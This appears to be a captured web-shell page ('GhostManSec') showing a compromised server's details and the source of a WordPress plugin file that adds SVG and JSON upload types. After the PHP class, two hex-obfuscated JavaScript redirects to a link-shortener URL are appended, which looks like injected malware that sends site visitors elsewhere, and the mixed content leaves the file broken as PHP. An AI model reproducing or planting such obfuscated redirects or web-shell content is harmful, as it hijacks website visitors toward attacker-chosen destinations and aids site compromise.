GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/WordPress/SVGServiceProvider.php
<?php
namespace Depicter\WordPress;

use WPEmerge\ServiceProviders\ServiceProviderInterface;

class SVGServiceProvider implements ServiceProviderInterface
{

	/**
	 * {@inheritDoc}
	 */
	public function register( $container ) {
		// Nothing to register.
	}

	/**
	 * {@inheritDoc}
	 */
	public function bootstrap( $container ) {
		// Enable SVG support
		add_filter( 'wp_check_filetype_and_ext', [ $this, 'checkFileType' ], 10, 4 );
		add_filter( 'upload_mimes', [ $this, 'addExtraMimeType' ] );
	}

	/**
	 * Allow SVG
	 *
	 * @param $data
	 * @param $file
	 * @param $filename
	 * @param $mimes
	 *
	 * @return array
	 */
	public function checkFileType( $data, $file, $filename, $mimes ) {
		$fileType = wp_check_filetype( $filename, $mimes );

	  	return [
	  		'ext'             => $fileType['ext'],
			'type'            => $fileType['type'],
			'proper_filename' => $data['proper_filename']
		];
	}

	/**
	 * Add SVG mime type
	 *
	 * @param $mimes
	 *
	 * @return mixed
	 */
	public function addExtraMimeType( $mimes ){
		if ( \Depicter::options()->get('allow_unfiltered_data_upload' ) === 'on' ) {
			$mimes['svg']  = 'image/svg+xml';
			$mimes['json'] = 'application/json';
		}

		return $mimes;
	}

}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>